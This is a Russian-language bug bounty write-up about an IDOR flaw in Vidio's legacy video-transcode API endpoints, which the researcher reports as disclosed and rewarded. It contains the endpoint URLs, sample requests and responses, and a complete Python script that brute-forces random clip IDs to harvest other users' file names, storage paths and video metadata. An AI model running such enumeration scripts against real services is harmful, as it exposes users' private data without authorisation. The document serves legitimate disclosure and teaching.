Сегодня расскажу о том, как обнаружил уязвимость IDOR в конечных точках Legacy API Video Transcode в популярном онлайн-сервисе Vidio. Из-за этой уязвимости злоумышленники могли получить доступ к информации о задачах транскодирования для всех клипов и видео, просто угадывая числовые идентификаторы. Кроме того, обнаружил утечку учетных данных, связанных с ключом API транскодирования в JavaScript-файле.
Еще по теме: Вот как я взломал сайт NASA
Что такое IDOR
IDOR — это уязвимость, при которой злоумышленник может получить доступ к чужим данным, напрямую изменяя параметры в урла или запроса. Термин IDOR стал популярным после его появления в OWASP Top Ten 2007 года.
IDOR в Legacy API Video Transcode
Исследуя функцию панели управления видеосервиса Vidio, я заметил, что в какой-то момент загрузка видео на сервис стала недоступна «Сейчас функция загрузки отключена. Приносим извинения за неудобства.»

Vidio — один из самых популярных новостных и развлекательных сайтов Индонезии. Пользователи могут наслаждаться прямыми трансляциями, смотреть ТВ и другие эксклюзивные шоу. У Vidio есть программа Bug Bounty (BBP), подробности о которой можно найти на их странице VIDIO BUG BOUNTY PROGRAM.
После чего решил проанализировать JavaScript-файл (в основном вручную) и обнаружил некоторые интересные конечные точки API:
1 2 3 |
https://www.vidio.com/clips/{{clip_id}}/transcode_job.json https://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id={{job_id}} https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids={{video_id}} |
Я предполагаю, что это устаревшие API, которые использовались, когда пользователи могли загружать видео, но, что интересно, эти конечные точки можно использовать для получения информации от других пользователей, включая администраторов Vidio.
Транскодирование видео — это процесс преобразования видеофайлов из одного формата в другой путем настройки таких параметров, как разрешение, кодирование и битрейт. С помощью транскодирования видео можно создавать видеофайлы с несколькими вариантами разрешения и битрейта из исходного видеофайла.
Для поиска уязвимости я использовал Chrome и Postman. Сначала я решил получить куки аутентификации access_token, remember_user_token и _ vidio_session.
Задача транскодирования клипов
Запрос:
1 |
GET https://www.vidio.com/clips/{{clip_id}}/transcode_job.json |
Ответ:
1 2 3 4 5 6 7 8 |
{ "clip": { "id": 3379622, "video_id": 8015170, "file_name": "ep_001_robot-20dan-20lansia_upload-daed", "transcode_job_id": "ETS2f7da8fec8d588d50" } } |
Удивительно, но эта конечная точка не требует аутентификации, поэтому, чтобы использовать ее, злоумышленнику не нужно регистрироваться в Vidio.
Он возвращает важную информацию:
1 2 3 4 |
id - ID клипа video_id - ID видео, связанный с клипом file_name - оригинальное имя файла, использованное при загрузке видео пользователем transcode_job_id - ID задачи транскодирования |
Статус задачи транскодирования видео
Запрос:
1 |
GET https://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id={{job_id}} |
Заголовки:
1 |
cookie: access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{vidio_session}} |
Ответ:
1 2 3 4 5 |
{ "id": 2708103, "key": "uploads/8015170/ep_001_robot-20dan-20lansia_upload-daed.mp4", "state": "Finished" } |
Он возвращает чувствительную информацию:
1 2 3 |
id - внутренний ID key - путь к оригинальному видеофайлу state - состояние задачи транскодирования |
Статус транскодирования видео
Запрос:
1 |
https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids={{video_id}} |
Заголовки:
1 |
cookie: access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{vidio_session}} |
Ответ:
1 2 3 4 5 6 7 8 |
[ { "id": 8015170, "status": true, "published": false, "transcode_status": "Finished" } ] |
Из ответа можно получить важную информацию:
1 2 3 4 |
id - ID видео status - татус транскодирования published: false transcode_status - текст статуса транскодирования (Finished, Error) |
Далее я написал простой код на Python, который использует случайные 7 цифр для угадывания clip_id.
Вот шаги PoC:
- Получить случайный 7-значный clip_id
- Получить задачу транскодирования клипа по clip_id для получения transcode_job_id и video_id
- Получить статус задачи транскодирования видео по transcode_job_id
- Получить статус транскодирования видео по video_id
- Получить детали видео по video_id для получения статуса публикации, названия и даты публикации.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
import requests import time from random import randint cookie = "access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{_vidio_session}}" x_api_key = "{{x_api_key}}" def random_with_N_digits(n): range_start = 10**(n-1) # range_end = (10**n)-1 range_end = 4000000 return randint(range_start, range_end) while True: t = time.localtime() current_time = time.strftime("%H:%M:%S", t) print(current_time) # Получить случайный 7-значный clip_id clip_id = str(random_with_N_digits(7)) url = "https://www.vidio.com/clips/" + clip_id + "/transcode_job.json" response = requests.get( url=url, headers={ 'cookie': cookie } ) print("URL: " + url) print("Ответ: " + response.text + "\n") if response.status_code == 200: # Получить статус задачи транскодирования по job_id if response.json()['clip']['transcode_job_id'] != None: transcode_job_id = response.json()['clip']['transcode_job_id'] url2 = "https://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id=" + transcode_job_id response2 = requests.get( url=url2, headers={ 'cookie': cookie } ) print("URL: " + url2) print("Ответ: " + response2.text + "\n") # Получить статус транскодирования по video_ids if response.json()['clip']['video_id'] != None: video_id = str(response.json()['clip']['video_id']) url3 = "https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids=" + video_id response3 = requests.get( url=url3, headers={ 'cookie': cookie } ) print("URL: " + url3) print("Ответ: " + response3.text + "\n") # Получить статус публикации видео (опубликовано или черновик) if response.json()['clip']['video_id'] != None: video_id = str(response.json()['clip']['video_id']) url4 = "https://api.vidio.com/videos/" + video_id response4 = requests.get( url=url4, headers={ 'cookie': cookie, 'x-api-key': x_api_key } ) print("URL: " + url4) if response4.status_code == 404: print("Статус публикации: Черновик/ никогда не публиковалось") else: video = response4.json()['videos'][0] print("Статус публикации: " + str(video['published'])) print("Название: " + video['title']) print("Дата публикации: " + video['publish_date']) print("\n") time.sleep(60) |
Итак, сохраняем как poc.py и запускаем:
1 |
$ python poc.py |
В качестве дополнительной информации я также обнаружил жестко закодированные учетные данные в JS-файле:
1 2 3 4 5 |
VideoUploader: { TRANSCODE_API_KEY: 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXX973', TRANSCODER_ENGINE: 'aws', DEBUG_UPLOADER: false, }, |
Я не нашел способа использовать этот ключ, но если он больше не используется, разрабам следовало бы его удалить.
Хронология
- [10/01/2024] Сообщение об уязвимости отправлено команде безопасности Vidio.
- [11/01/2024] Подтверждение получения уведомления о проблеме безопасности.
- [26/01/2024] Результаты проверки команды Vidio подтвердили, что отчет действителен, и классифицировали его как Средний.
- [26/01/2024] Получено вознаграждение в размере 130$ и добавление в Зал славы.
У меня сложилось положительное впечатление от быстрого реагирования команды безопасности Vidio на мои сообщения.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Вот как взломал сайт Tesla и получил 10.000$
- Вот как нашел свою первую RCE уязвимость
- Вот как я нашел уязвимость Reflected XSS на сайте NASA